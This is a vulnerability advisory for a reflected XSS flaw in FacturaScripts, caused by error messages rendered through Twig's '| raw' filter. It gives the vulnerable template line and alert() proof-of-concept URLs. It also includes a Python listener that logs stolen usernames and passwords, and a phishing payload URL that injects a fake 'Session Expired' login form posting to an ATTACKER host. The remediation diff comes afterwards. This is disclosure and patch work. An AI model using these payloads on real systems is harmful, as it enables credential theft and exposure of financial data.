| Package | Affected versions | Patched versions |
|---|---|---|
| facturascripts/facturascripts | < 2025.81 | 2025.81 |
| facturascripts | < 2025.8 | 2025.8 |
A reflected XSS bug has been found in FacturaScripts. The problem is in how error messages get displayed - it's using Twig's | raw filter which skips HTML escaping. When a database error is triggered (like passing a string where an integer is expected), the error message includes all input and gets rendered without sanitization.
Attackers can use this to phish credentials from other users since HttpOnly is set on cookies (so stealing cookies directly won't work, but attackers can inject a fake login form).
CVSS 6.1 (Medium-High)
Core/View/Macro/Utils.html.twig, line 27:
{% for item in messages %}
<div>{{ item.message | raw }}</div>
{% endfor %}
That | raw is the problem. It tells Twig not to escape anything.
So here's what happens:
/EditProducto?code=<svg onload=alert(1)> or <img src=x onerror=alert(1)><svg onload=alert(1)> isn't a valid integer| raw, the browser actually executes the JSThe error logging happens in Core/Base/DataBase.php around line 236:
self::$miniLog->error(self::$engine->errorMessage(self::$link), ['sql' => $sql]);
And PostgreSQL's error message includes whatever garbage it was sent.
Just visit this URL while logged in:
http://localhost/EditProducto?code=<svg onload=alert(document.domain)>
An alert box should pop up.
Set up a simple server to catch credentials:
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freefrom http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
q = parse_qs(urlparse(self.path).query)
print(f"\nGot creds:")
print(f" User: {q.get('user', ['?'])[0]}")
print(f" Pass: {q.get('pass', ['?'])[0]}")
self.send_response(200)
self.end_headers()
def log_message(self, *args): pass
HTTPServer(('', 8888), Handler).serve_forever()
Then craft a URL that injects a fake login form:
http://TARGET/EditProducto?code=<svg onload="document.body.innerHTML='<div style=text-align:center;padding:100px><h2>Session Expired</h2><form action=http://ATTACKER:8888/steal><input name=user placeholder=Username><br><input name=pass type=password placeholder=Password><br><button>Login</button></form></div>'">
Send that to someone (email, chat, whatever). When they click it and enter their password thinking their session expired, their creds are displayed.
Pretty much anything that uses the code parameter:
/EditProducto?code=/EditCliente?code=/EditFacturaCliente?code=/EditProveedor?code=Basically all the Edit controllers.
Steal credentials - Can't grab cookies directly (HttpOnly), but the phishing form trick works great. Victim thinks their session timed out and re-enters their password.
Read page data - Once JS is running, attackers can scrape whatever's on the page (invoices, customer info, financial data) and send it somewhere.
Keylog - Inject a keylogger that captures everything they type.
Bypass CSRF - Grab the multireqtoken from the page and make requests as the victim.
Can't steal session cookies via document.cookie - they're HttpOnly.
This is a financial app, so if attackers compromise an admin account, the following is possible to create or expose:
Just remove | raw from line 27 in Core/View/Macro/Utils.html.twig:
- <div>{{ item.message | raw }}</div>
+ <div>{{ item.message }}</div>
That's it. Twig escapes by default, so removing | raw fixes the XSS.
$message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8');
Add CSP headers to block inline scripts as a backup
Maybe validate the code parameter format before it hits the database
Found: Dec 31, 2025
Tested on: FacturaScripts 2025.61 (Docker), verified vulnerable in 2025.71 (GitHub latest)
<img width="1917" height="868" alt="1" src="https://github.com/user-attachments/assets/a7d770c8-1d61-499c-83dc-e21be8e61c87" />
<img width="337" height="130" alt="3" src="https://github.com/user-attachments/assets/463067ee-3a73-45ed-af26-c32264d5bf41" />
<img width="1915" height="870" alt="phising" src="https://github.com/user-attachments/assets/6e15a021-dc5f-4708-bdd1-887ecb2d2ffb" />
<img width="1915" height="862" alt="phising2" src="https://github.com/user-attachments/assets/100a63b6-c066-43d5-ab39-6085f51ba282" />
<img width="1918" height="877" alt="sql erroe" src="https://github.com/user-attachments/assets/4c3182ba-380d-44d4-ab34-4b0840ad3e39" />
<img width="1165" height="277" alt="version" src="https://github.com/user-attachments/assets/5f23e4de-cf03-4fcf-a6c5-6ca327c8c43a" />